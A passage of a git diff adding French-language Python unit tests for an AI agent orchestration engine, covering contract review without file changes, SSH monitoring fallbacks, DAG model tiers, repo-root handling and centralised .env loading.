"criteres_acceptation" in schema["required"], ( + "le champ est optionnel : mesuré en prod, un modèle ne le produit alors jamais" + ) + # La liste VIDE reste valide : on impose la clé, pas l'invention de critères. + assert schema["properties"]["criteres_acceptation"]["type"] == "array" + + +class TestContratSansModificationDeFichier: + """ + Troisième verrou, trouvé en mesurant le 10/08 : `run_review` court-circuitait + sur « aucun fichier modifié » AVANT d'atteindre le contrat. Ce raccourci a été + écrit pour la revue de CODE — mais un contrat vérifie l'OBJECTIF, qui peut être + atteint sans toucher un fichier (lire, calculer, répondre). + """ + + def _boucle_sans_modif(self, criteres, rapport, monkeypatch): + boucle = _boucle(criteres, rapport, monkeypatch) + boucle._engine.agents["reviewer"] = MagicMock() + monkeypatch.setattr(boucle, "_has_modified_files", lambda: False) + return boucle + + def test_contrat_satisfait_sans_fichier_modifie(self, monkeypatch): + boucle = self._boucle_sans_modif(CRITERES, _rapport(True, True), monkeypatch) + assert asyncio.run(boucle.run_review("objectif")) is True + + def test_contrat_en_echec_sans_fichier_modifie_rejette(self, monkeypatch): + """Avant le correctif, ce cas renvoyait True : auto-approbation aveugle.""" + boucle = self._boucle_sans_modif(CRITERES, _rapport(True, False), monkeypatch) + assert asyncio.run(boucle.run_review("objectif")) is False + + def test_sans_contrat_le_raccourci_reste_intact(self, monkeypatch): + boucle = self._boucle_sans_modif(None, None, monkeypatch) + assert asyncio.run(boucle.run_review("objectif")) is True + + def test_contrat_non_determinable_garde_le_raccourci(self, monkeypatch): + boucle = self._boucle_sans_modif(CRITERES, _rapport(None), monkeypatch) + assert asyncio.run(boucle.run_review("objectif")) is True + + def test_evenement_porte_son_contexte(self, monkeypatch): + boucle = self._boucle_sans_modif(CRITERES, _rapport(True), monkeypatch) + recus = [] + + async def _on_event(nom, charge): + recus.append((nom, charge)) + + asyncio.run(boucle.run_review("objectif", on_event=_on_event)) + contrats = [c for n, c in recus if n == "contract_checked"] + assert contrats and contrats[0]["contexte"] == "sans_modification_de_fichier" + + def test_aucun_appel_au_reviewer(self, monkeypatch): + boucle = self._boucle_sans_modif(CRITERES, _rapport(True), monkeypatch) + reviewer = MagicMock() + reviewer.invoke = AsyncMock() + boucle._engine.agents["reviewer"] = reviewer + + asyncio.run(boucle.run_review("objectif")) + + reviewer.invoke.assert_not_called() diff --git a/tests/unit/test_daemon_loop.py b/tests/unit/test_daemon_loop.py new file mode 100644 index 0000000..e36d49f --- /dev/null +++ b/tests/unit/test_daemon_loop.py @@ -0,0 +1,239 @@ +""" +tests/unit/test_daemon_loop.py — Tests du Démon Sentinelle (#T266). + +Vérifie que : +- une dépendance absente (paramiko) rend le contrôle HA « indisponible » + (statut "skipped") au lieu d'une fausse anomalie de surcharge ; +- un échec SSH réel reste une anomalie (le daemon ne devient pas aveugle) ; +- la cause de l'échec du chemin par clé est visible dans le rapport ; +- la même indisponibilité n'est journalisée qu'une seule fois. +""" + +import asyncio +import builtins +import logging +import sys +import types + +import pytest + +from core import daemon_loop as dl + +# ────────────────────────────────────────────────────────────────── +# Mocks partagés +# ────────────────────────────────────────────────────────────────── + +class _ProcessFake: + """Simule asyncio.subprocess.Process pour le chemin ssh par clé.""" + + def __init__(self, returncode, stdout=b"", stderr=b""): + self.returncode = returncode + self._stdout = stdout + self._stderr = stderr + + async def communicate(self): + return self._stdout, self._stderr + + +class _FakeParamikoClient: + """SSHClient qui échoue à la connexion (échec SSH ordinaire).""" + + def set_missing_host_key_policy(self, policy): + pass + + def connect(self, **kwargs): + raise ConnectionRefusedError("Connexion refusée par ${HA_HOST:-192.168.1.x}") + + +class _FakeChannel: + def recv_exit_status(self): + return 0 + + +class _FakeParamikoOkClient: + """SSHClient qui réussit : le fallback Paramiko fonctionne.""" + + def set_missing_host_key_policy(self, policy): + pass + + def connect(self, **kwargs): + pass + + def exec_command(self, command): + stdout = types.SimpleNamespace( + read=lambda: b"ha_docker:2.0%", channel=_FakeChannel() + ) + stderr = types.SimpleNamespace(read=lambda: b"") + return None, stdout, stderr + + +FAUX_PARAMIKO_ECHEC = types.SimpleNamespace( + SSHClient=_FakeParamikoClient, AutoAddPolicy=types.SimpleNamespace +) +FAUX_PARAMIKO_SUCCES = types.SimpleNamespace( + SSHClient=_FakeParamikoOkClient, AutoAddPolicy=types.SimpleNamespace +) + + +@pytest.fixture(autouse=True) +def _daemon_propre(tmp_path, monkeypatch): + """État global du daemon remis à zéro ; contexte JSON isolé en tmp.""" + dl.daemon_state["last_ha_overload_check_at"] = None + dl.daemon_state["consecutive_high_cpu_ticks"] = 0 + dl._last_ssh_error_reported = None + monkeypatch.setattr(dl, "_DAEMON_CONTEXT_FILE", str(tmp_path / "daemon_context.json")) + + +def _mock_autres_checks(monkeypatch): + """Remplace les checks annexes par des succès silencieux (pas d'I/O réelle).""" + + def _ok(check): + return {"check": check, "status": "ok", "details": {}} + + async def _ok_coro(check): + return _ok(check) + + async def _cpu_bas(_entity_id=None): + return {"state": "12.5"} + + monkeypatch.setattr(dl, "_check_git_status", lambda: _ok("git_status")) + monkeypatch.setattr(dl, "_check_ha_health", lambda: _ok_coro("ha_health")) + monkeypatch.setattr(dl, "_prefetch_calendar", lambda: _ok_coro("calendar_prefetch")) + monkeypatch.setattr(dl, "_check_memory_health", lambda: _ok("memory_health")) + monkeypatch.setattr(dl, "_get_ha_state", _cpu_bas) + + +def _dependance_absente(monkeypatch): + """Binaire ssh absent + import paramiko en ModuleNotFoundError (scénario prod).""" + + async def _ssh_binaire_absent(*args, **kwargs): + raise FileNotFoundError("[Errno 2] No such file or directory: 'ssh'") + + real_import = builtins.__import__ + + def _sans_paramiko(name, *args, **kwargs): + if name == "paramiko": + raise ModuleNotFoundError("No module named 'paramiko'", name="paramiko") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(asyncio, "create_subprocess_exec", _ssh_binaire_absent) + monkeypatch.setattr(builtins, "__import__", _sans_paramiko) + + +def _cle_refusee_et_paramiko_ko(monkeypatch): + """Clé SSH refusée puis connexion Paramiko refusée : panne réelle.""" + + async def _ssh_cle_refusee(*args, **kwargs): + return _ProcessFake(1, b"", b"Permission denied (publickey).") + + monkeypatch.setattr(asyncio, "create_subprocess_exec", _ssh_cle_refusee) + monkeypatch.setitem(sys.modules, "paramiko", FAUX_PARAMIKO_ECHEC) + + +def _lancer_cycle(): + return asyncio.run(dl.run_tick_cycle({})) + + +# ────────────────────────────────────────────────────────────────── +# Tests +# ────────────────────────────────────────────────────────────────── + +def test_dependance_absente_controle_indisponible_pas_anomalie(monkeypatch): + """[#T266] Paramiko absent : le contrôle est « indisponible », PAS une anomalie. + + Le rapport doit le dire explicitement et exposer la cause de l'échec du + chemin par clé (défaut b : le message visible désignait la mauvaise cause). + """ + _mock_autres_checks(monkeypatch) + _dependance_absente(monkeypatch) + + report = _lancer_cycle() + check = report["checks"]["ha_overload"] + + assert check["status"] == "skipped" + assert check["status"] not in ("warning", "error") + reason = check["details"]["reason"].lower() + assert "contrôle indisponible" in reason + assert "paramiko" in reason + # La vraie cause du chemin primaire est visible (défaut b corrigé) + assert "ssh" in reason + + assert report["anomalies_count"] == 0 + assert all(a["check"] != "ha_overload" for a in report["anomalies"]) + + +def test_echec_ssh_ordinaire_reste_anomalie(monkeypatch): + """[#T266] Panne SSH réelle : l'anomalie doit rester visible. + + C'est le test le plus important : la PR ne doit pas rendre le daemon + aveugle aux vraies pannes. + """ + _mock_autres_checks(monkeypatch) + _cle_refusee_et_paramiko_ko(monkeypatch) + + report = _lancer_cycle() + check = report["checks"]["ha_overload"] + + assert check["status"] == "error" + assert report["anomalies_count"] == 1 + assert report["anomalies"][0]["check"] == "ha_overload" + # La cause de l'échec du chemin par clé est visible dans le message + assert "Permission denied" in check["details"]["error"] + + +def test_deux_cycles_dependance_absente_une_seule_journalisation(monkeypatch, caplog): + """[#T266] Deux cycles consécutifs sans la dépendance : un seul warning.""" + _mock_autres_checks(monkeypatch) + _dependance_absente(monkeypatch) + caplog.set_level(logging.WARNING) + + _lancer_cycle() + # On force le check SSH au second cycle (sinon le quota 6h ne le rejoue pas) + dl.daemon_state["last_ha_overload_check_at"] = None + _lancer_cycle() + + ssh_warnings = [ + r for r in caplog.records + if r.levelno >= logging.WARNING and "DAEMON-SSH" in r.getMessage() + ] + assert len(ssh_warnings) == 1 + + +def test_succes_ssh_par_cle_statut_ok(monkeypatch, caplog): + """Cas nominal : le chemin par clé réussit, aucun warning SSH émis.""" + _mock_autres_checks(monkeypatch) + + async def _ssh_ok(*args, **kwargs): + return _ProcessFake(0, b"addon_core_samba:3.1%\nnginx:1.2%", b"") + + monkeypatch.setattr(asyncio, "create_subprocess_exec", _ssh_ok) + caplog.set_level(logging.WARNING) + + report = _lancer_cycle() + check = report["checks"]["ha_overload"] + + assert check["status"] == "ok" + assert check["details"]["containers_cpu"] == {"addon_core_samba": 3.1, "nginx": 1.2} + assert report["anomalies_count"] == 0 + assert not [r for r in caplog.records if "DAEMON-SSH" in r.getMessage()] + + +def test_fallback_paramiko_apres_echec_cle_reste_ok(monkeypatch, caplog): + """Clé refusée mais Paramiko opérationnel : pas d'anomalie, signature réarmée.""" + _mock_autres_checks(monkeypatch) + + async def _ssh_cle_refusee(*args, **kwargs): + return _ProcessFake(1, b"", b"Permission denied (publickey).") + + monkeypatch.setattr(asyncio, "create_subprocess_exec", _ssh_cle_refusee) + monkeypatch.setitem(sys.modules, "paramiko", FAUX_PARAMIKO_SUCCES) + caplog.set_level(logging.WARNING) + + report = _lancer_cycle() + check = report["checks"]["ha_overload"] + + assert check["status"] == "ok" + assert check["details"]["containers_cpu"] == {"ha_docker": 2.0} + assert report["anomalies_count"] == 0 + assert dl._last_ssh_error_reported is None + assert not [r for r in caplog.records if "DAEMON-SSH" in r.getMessage()] diff --git a/tests/unit/test_dag_node_tiers.py b/tests/unit/test_dag_node_tiers.py new file mode 100644 index 0000000..ddbf427 --- /dev/null +++ b/tests/unit/test_dag_node_tiers.py @@ -0,0 +1,341 @@ +""" +test_dag_node_tiers.py — Tier de modèle par rôle de nœud DAG (#T245). + +Vérifie que le MapReduce n'hérite plus aveuglément du tier du parent : +- les tâches Map descendent sur le tier léger (panier gratuit/low-cost), +- le nœud Reduce monte sur le tier fort (l'arbitrage final), +- la précédence surcharge appelant > config.json > défauts, +- le kill-switch `MOTEUR_DAG_NODE_TIERS=0` et la valeur `herite` rétablissent + exactement le comportement d'avant, +- et que **les deux chemins** (DAG actif et fallback synchrone) appliquent la + même politique — c'est la divergence qui coûterait cher, pas la valeur du tier. +""" + +import asyncio +import os +import sys + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.dag.node_tier_policy import ( + TIERS_DEFAUT, + appliquer_tier_role, + normaliser_tiers_du_plan, + politique_active, + tier_pour_role, +) +from core.dag_runner import DAGRunner +from core.state import GlobalState, StateUpdate, TaskPayload + + +@pytest.fixture(autouse=True) +def _env_propre(monkeypatch): + """Politique active par défaut et config.json ignorée (déterminisme).""" + monkeypatch.delenv("MOTEUR_DAG_NODE_TIERS", raising=False) + # Même lecture que la vraie fonction, sans le repli sur config.json du poste : + # un `dag_node_tiers` posé localement ne doit pas faire varier les tests. + monkeypatch.setattr( + "core.dag.node_tier_policy._tiers_de_config", + lambda config: (config or {}).get("dag_node_tiers") or {}, + ) + + +class TestPolitiqueTier: + """Résolution du tier par rôle.""" + + def test_defauts_map_leger_reduce_fort(self): + assert tier_pour_role("map") == "leger" + assert tier_pour_role("reduce") == "fort" + assert TIERS_DEFAUT == {"map": "leger", "reduce": "fort"} + + def test_role_inconnu_ne_force_rien(self): + assert tier_pour_role("planner") is None + + def test_surcharge_appelant_prioritaire(self): + meta = {"map_model_tier": "moyen", "reduce_model_tier": "moyen"} + assert tier_pour_role("map", meta) == "moyen" + assert tier_pour_role("reduce", meta) == "moyen" + + def test_config_prioritaire_sur_defaut(self, monkeypatch): + monkeypatch.setattr( + "core.dag.node_tier_policy._tiers_de_config", + lambda config: {"map": "moyen", "reduce": "moyen"}, + ) + assert tier_pour_role("map") == "moyen" + # …mais la surcharge de l'appelant reste au-dessus de la config + assert tier_pour_role("map", {"map_model_tier": "leger"}) == "leger" + + def test_config_explicite_passee_en_parametre(self): + config = {"dag_node_tiers": {"reduce": "moyen"}} + assert tier_pour_role("reduce", None, config) == "moyen" + assert tier_pour_role("map", None, config) == "leger" # non déclaré → défaut + + def test_valeur_herite_retablit_heritage(self, monkeypatch): + assert tier_pour_role("map", {"map_model_tier": "herite"}) is None + monkeypatch.setattr( + "core.dag.node_tier_policy._tiers_de_config", + lambda config: {"reduce": "herite"}, + ) + assert tier_pour_role("reduce") is None + + def test_valeur_vide_ignoree(self): + assert tier_pour_role("map", {"map_model_tier": " "}) == "leger" + + @pytest.mark.parametrize("valeur", ["0", "false", "off", "no", "OFF"]) + def test_kill_switch(self, monkeypatch, valeur): + monkeypatch.setenv("MOTEUR_DAG_NODE_TIERS", valeur) + assert politique_active() is False + assert tier_pour_role("map") is None + assert tier_pour_role("reduce") is None + + +class TestApplicationMetadata: + """Projection de la politique sur les metadata d'un payload.""" + + def test_force_le_tier_et_trace_le_role(self): + parent = {"model_tier": "fort", "target_agent": "executor"} + meta = appliquer_tier_role("map", parent) + assert meta["model_tier"] == "leger" + assert meta["node_tier_role"] == "map" + assert meta["target_agent"] == "executor" + + def test_ne_mute_pas_le_dict_parent(self): + parent = {"model_tier": "fort"} + appliquer_tier_role("map", parent) + assert parent["model_tier"] == "fort" + + def test_kill_switch_preserve_l_heritage(self, monkeypatch): + monkeypatch.setenv("MOTEUR_DAG_NODE_TIERS", "0") + meta = appliquer_tier_role("map", {"model_tier": "fort"}) + assert meta == {"model_tier": "fort"} + assert "node_tier_role" not in meta + + def test_metadata_vide_accepte(self): + assert appliquer_tier_role("reduce", None)["model_tier"] == "fort" + + +class _AgentCapteur: + """Agent mocké qui mémorise les payloads reçus.""" + + def __init__(self, name="executor"): + self.name = name + self.payloads = [] + + async def invoke(self, payload: TaskPayload) -> StateUpdate: + self.payloads.append(payload) + return StateUpdate( + agent_name=self.name, + status="success", + result_data=f"ok {payload.task_id}", + metadata={}, + ) + + +class _EngineMock: + def __init__(self, agent): + self.state = GlobalState(session_id="test_node_tiers") + self._history_lock = asyncio.Lock() + self.on_event = None + self.context_manager = None + self.agents = {"executor": agent} + + +class TestChemainsMapReduce: + """Les deux chemins du DAGRunner appliquent la même politique.""" + + def test_chemin_dag_maps_leger_reduce_fort(self): + runner = DAGRunner(_EngineMock(_AgentCapteur())) + parent = TaskPayload( + task_objective="Analyser le corpus", + metadata={"model_tier": "fort", "target_agent": "executor", "scope_level": 2}, + task_id="t1", + ) + + maps, reduce_p = runner._construire_payloads_mapreduce( + parent, ["a", "b", "c"], "Fusionner", "mapreduce_t1", "t1" + ) + + assert len(maps) == 3 + assert [m.metadata["model_tier"] for m in maps] == ["leger"] * 3 + assert reduce_p.metadata["model_tier"] == "fort" + # Le reste du contrat existant ne bouge pas + assert reduce_p.depends_on == [m.task_id for m in maps] + assert maps[0].metadata["scope_level"] == 2 + assert maps[0].metadata["parent_scope_id"] == "t1" + assert maps[1].metadata["map_index"] == 1 + assert reduce_p.metadata["is_reduce"] is True + + def test_chemin_dag_parent_leger_fait_quand_meme_monter_le_reduce(self): + runner = DAGRunner(_EngineMock(_AgentCapteur())) + parent = TaskPayload( + task_objective="Analyser", + metadata={"model_tier": "leger", "target_agent": "executor"}, + task_id="t2", + ) + + maps, reduce_p = runner._construire_payloads_mapreduce( + parent, ["a"], "", "mapreduce_t2", "t2" + ) + + assert maps[0].metadata["model_tier"] == "leger" + assert reduce_p.metadata["model_tier"] == "fort" + + def test_chemin_fallback_applique_la_meme_politique(self): + agent = _AgentCapteur() + runner = DAGRunner(_EngineMock(agent)) + parent = TaskPayload( + task_objective="Analyser", + metadata={"model_tier": "fort", "target_agent": "executor"}, + task_id="t3", + ) + + resultat = asyncio.run( + runner._execute_map_reduce_fallback(parent, ["a", "b"], "Fusionner") + ) + + assert resultat.status == "success" + tiers = {p.task_id: p.metadata["model_tier"] for p in agent.payloads} + assert tiers["mapreduce_t3_map_0"] == "leger" + assert tiers["mapreduce_t3_map_1"] == "leger" + assert tiers["mapreduce_t3_reduce"] == "fort" + + def test_kill_switch_restaure_l_heritage_sur_les_deux_chemins(self, monkeypatch): + monkeypatch.setenv("MOTEUR_DAG_NODE_TIERS", "0") + agent = _AgentCapteur() + runner = DAGRunner(_EngineMock(agent)) + parent = TaskPayload( + task_objective="Analyser", + metadata={"model_tier": "moyen", "target_agent": "executor"}, + task_id="t4", + ) + + maps, reduce_p = runner._construire_payloads_mapreduce( + parent, ["a"], "", "mapreduce_t4", "t4" + ) + assert maps[0].metadata["model_tier"] == "moyen" + assert reduce_p.metadata["model_tier"] == "moyen" + + asyncio.run(runner._execute_map_reduce_fallback(parent, ["a"], "Fusionner")) + assert all(p.metadata["model_tier"] == "moyen" for p in agent.payloads) + + +def _tache(task_id, stage, tier="moyen", deps=None, agent="executor"): + """Fabrique une tâche de plan telle que la produit le Planner.""" + deps = deps or [] + return TaskPayload( + task_objective=f"objectif {task_id}", + task_id=task_id, + depends_on=deps, + metadata={ + "task_id": task_id, + "depends_on": deps, + "stage_id": stage, + "target_agent": agent, + "model_tier": tier, + }, + ) + + +class TestNormalisationDuPlan: + """Politique de rôle appliquée au plan du Planner (stages parallèles).""" + + def test_eventail_maps_leger_agregation_fort(self): + plan = [ + _tache("lire_a", 1, "moyen"), + _tache("lire_b", 1, "fort"), + _tache("lire_c", 1, "moyen"), + _tache("synthese", 2, "moyen", deps=["lire_a", "lire_b", "lire_c"]), + ] + + rapport = normaliser_tiers_du_plan(plan) + + assert [t.metadata["model_tier"] for t in plan[:3]] == ["leger"] * 3 + assert plan[3].metadata["model_tier"] == "fort" + assert rapport["reduce"] == "synthese" + assert sorted(rapport["maps"]) == ["lire_a", "lire_b", "lire_c"] + # Le tier demandé par le Planner reste lisible + assert plan[1].metadata["model_tier_planner"] == "fort" + assert plan[0].metadata["node_tier_role"] == "map" + + def test_plan_lineaire_inchange(self): + plan = [ + _tache("lire", 1, "moyen"), + _tache("ecrire", 2, "fort", deps=["lire"]), + _tache("tester", 3, "moyen", deps=["ecrire"]), + ] + + rapport = normaliser_tiers_du_plan(plan) + + assert [t.metadata["model_tier"] for t in plan] == ["moyen", "fort", "moyen"] + assert rapport == {"maps": [], "reduce": None, "inchangees": 3} + + def test_verification_jamais_degradee(self): + plan = [ + _tache("ecrire_a", 1, "moyen"), + _tache("verify_syntaxe", 1, "moyen", agent="reviewer"), + _tache("relecture", 1, "fort", agent="reviewer"), + ] + + normaliser_tiers_du_plan(plan) + + assert plan[0].metadata["model_tier"] == "leger" + assert plan[1].metadata["model_tier"] == "moyen" # verify_* exemptée + assert plan[2].metadata["model_tier"] == "fort" # reviewer exempté + + def test_deuxieme_vague_reste_en_maps(self): + # Deux tâches parallèles ayant chacune plusieurs dépendances : ce sont + # des maps d'une seconde vague, surtout pas deux « reduce ». + plan = [ + _tache("a", 1, "moyen"), + _tache("b", 1, "moyen"), + _tache("c", 2, "fort", deps=["a", "b"]), + _tache("d", 2, "fort", deps=["a", "b"]), + ] + + rapport = normaliser_tiers_du_plan(plan) + + assert rapport["reduce"] is None + assert [t.metadata["model_tier"] for t in plan] == ["leger"] * 4 + + def test_agregation_sur_une_seule_dependance_non_promue(self): + plan = [ + _tache("a", 1, "leger"), + _tache("suite", 2, "leger", deps=["a"]), + ] + + rapport = normaliser_tiers_du_plan(plan) + + assert plan[1].metadata["model_tier"] == "leger" + assert rapport["reduce"] is None + + def test_tier_deja_conforme_ne_trace_pas_d_origine(self): + plan = [_tache("a", 1, "leger"), _tache("b", 1, "leger")] + + normaliser_tiers_du_plan(plan) + + assert "model_tier_planner" not in plan[0].metadata + assert plan[0].metadata["node_tier_role"] == "map" + + def test_kill_switch(self, monkeypatch): + monkeypatch.setenv("MOTEUR_DAG_NODE_TIERS", "0") + plan = [_tache("a", 1, "fort"), _tache("b", 1, "fort")] + + rapport = normaliser_tiers_du_plan(plan) + + assert [t.metadata["model_tier"] for t in plan] == ["fort", "fort"] + assert rapport["inchangees"] == 2 + + def test_desactivation_par_config(self): + plan = [_tache("a", 1, "fort"), _tache("b", 1, "fort")] + + rapport = normaliser_tiers_du_plan( + plan, {"dag_node_tiers": {"plan_normalization": False}} + ) + + assert [t.metadata["model_tier"] for t in plan] == ["fort", "fort"] + assert rapport["inchangees"] == 2 + + def test_plan_vide_sans_effet(self): + assert normaliser_tiers_du_plan([]) == {"maps": [], "reduce": None, "inchangees": 0} diff --git a/tests/unit/test_dag_runner.py b/tests/unit/test_dag_runner.py index 82ab3d1..52872ff 100644 --- a/tests/unit/test_dag_runner.py +++ b/tests/unit/test_dag_runner.py @@ -8,26 +8,27 @@ - L'intégration avec le HealingManager (mock) """ -import sys -import os -import pytest import asyncio +import os +import sys from unittest.mock import patch +import pytest + sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) -from core.state import TaskPayload, StateUpdate, GlobalState from core.dag_runner import DAGRunner +from core.state import GlobalState, StateUpdate, TaskPayload class MockAgent: """Agent mocké qui retourne un StateUpdate de succès.""" - + def __init__(self, name: str, succeed: bool = True, delay: float = 0.0): self.name = name self._succeed = succeed self._delay = delay - + async def invoke(self, payload: TaskPayload) -> StateUpdate: if self._delay > 0: await asyncio.sleep(self._delay) @@ -50,7 +51,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: class MockEngine: """Engine minimal pour instancier le DAGRunner dans les tests.""" - + def __init__(self): self.state = GlobalState(session_id="test_dag_session") self._history_lock = asyncio.Lock() @@ -60,7 +61,7 @@ def __init__(self): "executor": MockAgent("executor"), "planner": MockAgent("planner"), } - + async def _validate_modified_yamls(self): return None @@ -89,11 +90,11 @@ async def test_single_task_success(self, dag_runner): metadata={"target_agent": "executor", "session_id": "test", "stage_id": 1} ) ] - + tasks_status, has_error = await dag_runner.execute_dag( tasks=tasks, max_session_tokens=500_000 ) - + assert has_error is False assert tasks_status["t1"] == "success" @@ -114,11 +115,11 @@ async def test_two_independent_tasks(self, dag_runner): metadata={"target_agent": "executor", "session_id": "test", "stage_id": 1} ), ] - + tasks_status, has_error = await dag_runner.execute_dag( tasks=tasks, max_session_tokens=500_000 ) - + assert has_error is False assert tasks_status["t1"] == "success" assert tasks_status["t2"] == "success" @@ -140,11 +141,11 @@ async def test_dependency_chain(self, dag_runner): metadata={"target_agent": "executor", "session_id": "test", "stage_id": 2} ), ] - + tasks_status, has_error = await dag_runner.execute_dag( tasks=tasks, max_session_tokens=500_000 ) - + assert has_error is False assert tasks_status["t1"] == "success" assert tasks_status["t2"] == "success" @@ -164,11 +165,11 @@ async def test_budget_exceeded_blocks_tasks(self, mock_engine, dag_runner): metadata={"target_agent": "executor", "session_id": "test", "stage_id": 1} ), ] - + # Mock du token tracker pour simuler un dépassement with patch("core.token_tracker.get_session_total_tokens", return_value=999_999): tasks_status, has_error = await dag_runner.execute_dag( tasks=tasks, max_session_tokens=500_000 ) - + assert has_error is True diff --git a/tests/unit/test_dashscope_provider.py b/tests/unit/test_dashscope_provider.py index 2cf3026..54eb7f0 100644 --- a/tests/unit/test_dashscope_provider.py +++ b/tests/unit/test_dashscope_provider.py @@ -2,9 +2,6 @@ import os import pytest -from dotenv import load_dotenv - -load_dotenv() from core.llm_gateway import LLMGateway from core.models_db import get_model, get_provider, get_subscriptions @@ -67,8 +64,18 @@ def test_dashscope_gateway_binds_key(monkeypatch): assert "coding" in coder.base_url +@pytest.mark.live def test_dashscope_live_generation(): - """Inférence live — skip si clé absente ou rejetée (401).""" + """Inférence live — skip si clé absente ou rejetée (401). + + Marqué `live` : exclu de la suite par défaut, relançable avec `python -m pytest -m live`. + Le .env n'est chargé qu'ICI (jamais au niveau module) : un load_dotenv() au + collect injecterait les secrets du .env dans le process de TOUTE la suite + unitaire (ex: clés LANGFUSE → client réseau réel → garde-fou réseau). + """ + from dotenv import load_dotenv + + load_dotenv() key = os.getenv("DASHSCOPE_API_KEY") or os.getenv("BAILIAN_CODING_PLAN_API_KEY") if not key: pytest.skip("Aucune clé DashScope configurée") diff --git a/tests/unit/test_delegate_to_gateway.py b/tests/unit/test_delegate_to_gateway.py index 5b35eaf..5356ab5 100644 --- a/tests/unit/test_delegate_to_gateway.py +++ b/tests/unit/test_delegate_to_gateway.py @@ -10,12 +10,10 @@ NB : shim pour forcer le package local `tools` (namespace) face au paquet site-packages homonyme qui le masque sous Windows (divergence CI/local connue). """ +import asyncio import os import sys import types -import asyncio - -import pytest _REPO = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) if not (getattr(sys.modules.get("tools"), "__file__", "") or "").startswith(_REPO): @@ -46,6 +44,14 @@ class _FakeGateway: def __init__(self, providers): self.providers = providers + def get_provider(self, name): + """[#T212] Miroir du contrat réel : cascade d'un élément portant le CB.""" + from core.llm.providers.deepseek import FallbackProvider + provider = self.providers.get(name) + if not provider: + raise ValueError(f"Provider LLM inconnu : {name}") + return FallbackProvider([(name, provider)]) + class _FakeRouter: def __init__(self, routing_type="standard"): diff --git a/tests/unit/test_dreamcoder_repo_root.py b/tests/unit/test_dreamcoder_repo_root.py new file mode 100644 index 0000000..f23f7b3 --- /dev/null +++ b/tests/unit/test_dreamcoder_repo_root.py @@ -0,0 +1,72 @@ +""" +tests/unit/test_dreamcoder_repo_root.py — Clone Git dédié DreamCoder (#T202). + +Sur le Deck, la prod (overlay tar) n'est pas un dépôt Git légitime : DreamCoder +doit travailler dans un clone dédié configuré via +`persistent_agents.dreamcoder_repo_path`. Vérifie la résolution de racine, +le repli historique, et la propagation de repo_root aux hooks Git de l'Engine. +""" + +import os +from unittest.mock import patch + +from agents.dreamer_agent import _ENGINE_ROOT, _dreamcoder_repo_root +from core.engine import Engine + + +# ── Résolution de la racine de travail ─────────────────────────────────────── + +def test_repli_historique_sans_configuration(): + assert _dreamcoder_repo_root({}) == _ENGINE_ROOT + assert _dreamcoder_repo_root(None) == _ENGINE_ROOT + assert _dreamcoder_repo_root({"dreamcoder_repo_path": ""}) == _ENGINE_ROOT + + +def test_clone_dedie_configure(): + chemin = os.path.join("un", "clone", "dreamcoder") + resolu = _dreamcoder_repo_root({"dreamcoder_repo_path": chemin}) + assert resolu == os.path.abspath(chemin) + assert resolu != _ENGINE_ROOT + + +def test_defaut_present_dans_load_config(): + """La clé doit être injectée par les defaults de load_config (auto-migration).""" + from core.llm_gateway import load_config + pa = load_config().get("persistent_agents", {}) + assert "dreamcoder_repo_path" in pa + + +# ── Propagation aux hooks Git de l'Engine ──────────────────────────────────── + +def test_engine_stocke_repo_root(): + engine = Engine(session_id="t202-test", repo_root="/travail/dreamcoder") + assert engine.repo_root == "/travail/dreamcoder" + # Défaut : comportement historique inchangé + assert Engine(session_id="t202-defaut").repo_root is None + + +def test_prepare_git_branch_cible_le_repo_root(): + engine = Engine(session_id="t202-branch", repo_root="/travail/dreamcoder") + with patch("tools.git_safety.git_prepare_agent_branch", return_value="agent/run-x") as prep: + branch = engine._prepare_git_branch() + assert branch == "agent/run-x" + assert prep.call_args.kwargs.get("repo_path") == "/travail/dreamcoder" + + +def test_prepare_git_branch_defaut_cwd(): + engine = Engine(session_id="t202-branch-defaut") + with patch("tools.git_safety.git_prepare_agent_branch", return_value="agent/run-y") as prep: + engine._prepare_git_branch() + assert prep.call_args.kwargs.get("repo_path") == "." + + +def test_finalize_git_cible_le_repo_root(): + engine = Engine(session_id="t202-final", repo_root="/travail/dreamcoder") + captured = {} + + def _fake_finalize(branch, success, session_id, repo_path="."): + captured["repo_path"] = repo_path + return "ok" + + engine._finalize_git("agent/run-x", has_error=False, tasks_status={}, git_finalize_fn=_fake_finalize) + assert captured["repo_path"] == "/travail/dreamcoder" diff --git a/tests/unit/test_elo_core.py b/tests/unit/test_elo_core.py index d03aa0f..38e6e69 100644 --- a/tests/unit/test_elo_core.py +++ b/tests/unit/test_elo_core.py @@ -1,13 +1,12 @@ -# -*- coding: utf-8 -*- """Tests du cœur Elo partagé (core/elo_core.py) — fonctions pures.""" import pytest from core.elo_core import ( - expected_score, - updated_elo, adaptive_k, + expected_score, reviewer_score_to_outcome, + updated_elo, ) diff --git a/tests/unit/test_env_bootstrap.py b/tests/unit/test_env_bootstrap.py new file mode 100644 index 0000000..2156c93 --- /dev/null +++ b/tests/unit/test_env_bootstrap.py @@ -0,0 +1,121 @@ +""" +tests/unit/test_env_bootstrap.py — Tests du chargement centralisé du .env (T284). + +Vérifie le contrat de core/env_bootstrap.py : + - idempotence : deux appels = un seul chargement ; + - override=False : une variable déjà dans os.environ n'est jamais écrasée ; + - .env absent : aucune exception, message nommant le chemin cherché ; + - diagnostic honnête (aucun .env trouvé ≠ .env chargé mais clé absente). +""" + +import logging +import os +from pathlib import Path + +import pytest + +import core.env_bootstrap as env_bootstrap + + +@pytest.fixture(autouse=True) +def _etat_bootstrap_propre(): + """Réinitialise l'état module entre les tests (idempotence par processus).""" + env_bootstrap._loaded = False + env_bootstrap._env_file_found = None + yield + env_bootstrap._loaded = False + env_bootstrap._env_file_found = None + + +def test_deux_appels_un_seul_chargement(tmp_path, monkeypatch): + """Deux appels successifs ne chargent le .env qu'une seule fois.""" + fichier = tmp_path / ".env" + fichier.write_text("CLE_TEST=du_fichier\n", encoding="utf-8") + + compteur = {"appels": 0} + vrai_load = env_bootstrap.load_dotenv + + def load_compteur(*args, **kwargs): + compteur["appels"] += 1 + return vrai_load(*args, **kwargs) + + monkeypatch.setattr(env_bootstrap, "load_dotenv", load_compteur) + + premier = env_bootstrap.bootstrap_env(fichier) + second = 